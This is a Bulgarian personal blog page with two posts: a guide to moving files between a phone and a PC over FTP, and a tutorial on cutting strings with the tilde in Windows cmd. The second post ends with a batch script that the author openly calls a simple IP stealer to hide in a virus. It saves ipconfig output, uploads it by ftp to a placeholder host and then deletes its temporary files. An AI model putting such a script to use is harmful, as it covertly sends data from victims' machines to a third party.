Безжично сваляне и качване на файлове от и към телефона – видео урок

Тъй като локалната мрежа в къщи е малко сложно изградена, ще споделя каква техника ползвам, за да запазвам снимки, клипчета и други файлове от телефоните, а и за да си качвам музика, филмчета, карти за GPS и т.н. Мрежата ми е изградена от един кабелен рутер към който са вързани директно PC и Wi-Fi рутер. Ако PC-то ми беше вързано към Wi-Fi рутера, почти нямаше да има смисъл от тази статия, защото можех да обменям файлове директно с IE. В случая се налага да ползвам FTP-сървар, който осигурява достъпа. За пример ще кача на телефона музикална класация top 100 на Billboard за 2017 – свалял съм я от някакъв торент.

Необходими инструменти:

  • Baby FTP Server за Windows. Може да се ползва и друг FTP-сървар, но този е толкова прост и стабилен, че няма да отварям дума за други варианти. Дори не се инсталира, а само се накликва едно exe.
  • ES File Explorer File Manager – файлов експлорер за Android, набъкан яко с всякакви инструменти, включително текстов редактор и простички медиа-плеъри. Но най-вече защото има една каруца варианта за връзка с други устройства, като аз ще ползвам FTP-клиента. Това се вижда и на видеото по-долу.

Стартира се exe-то на Baby FTP Server от компютъра, след това виждате кое ви е локалното IP за вътрешната мрежа – през него излъчва FTP-сървъра и ще е необходимо при настройването на FTP-клиента от телефона. FTP-протокола обикновено слуша на порт 21.
След това се инсталира Es File Explorer на телефона (таблета, телевизора или каквато там пущина ползвате) и си стартирате FTP-клиента. Не забелязах някаква разлика в пасивния и активния режим за ftp, така че може би няма значение. Избира се опцията Anonymous, защото BabyFTP е доволно прост, той просто дава достъп до всякакви анонимници и лентяи в локалната мрежа.

Това е видео урока, за това как безжично да си обменяте файлове между телефона и компютъра:

ПС: Shift + RMB – означава да натиснете SHIFT на клавиатурата и след това десния бутон на мишката, така се вика command prompt на Winblows в текущата директория.

Share and Enjoy !

Shares

cmd tilde “~” – рязане на стринг в командния ред CommandPrompt

Windows cms съдържа един много полезен инструмент за рязане на стрингове. Това е тилдата – tilde (коя е тая Тилда бе???…). Ем ей тая “~”!
Това чудо брои от 0. Реже до колкото му кажеш и реже от тук до еди-колко-си, а синтаксиса е: %променлива:~начало,край%. Въобще не ме бива в лириката, но пък ме бива много в примерите :), за това ще покажа. Стартирате един cmd (Start -> Run -> cmd) и декларирате някаква променлива.

set a=0123456789
echo %a:~0,3%

Това връща резултата 012, защото в случая отрязахме стринга от нула до 2-я. Можем да отрежем от 3-я до 7-я, това би изглеждало така:

echo %a:~3,7%

Това ще ни върне: 3456789
Ех, че яка тая тилда!
Направо ми идва на идея да спретна един random генератор за batch :):

set r=%random%%time:~6,5%
echo %r%

В случая използвам и вградената команда за случайни числа на cmd – random. И след генерираното число добавям изрязани от командата за текущо време time секундите от текущия час, запетайка и стотните от текущия час. Резултата изглежда нещо от сорта:
1428246,37
А дали това не може да се използва за правенето на простичък крадец на ip-та, който да се навре в вирусче или нещо друго. Ако се възползваме от останалите възможности на cmd, като find

@echo off
set ip=%random%%time:~6,5%
ipconfig /all | find "IP Addres" > %ip%.txt
sleep 2
echo user POTREBITEL> ftpcmd.dat
echo PAROLA>> ftpcmd.dat
bin>> ftpcmd.dat
type %ip%.txt
echo put %ip%.txt >> ftpcmd.dat
echo bye >> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTPSITE.COM
del ftpcmd.dat
del %ip%.txt

Този скрипт ще вземе IP-адреса на компютъра, на който е стартиран и ще го качи на посочен от вас FTP-сървар.
Моля не използвайте този скрипт за лоши неща! Пазете си кармата!

Share and Enjoy !

Shares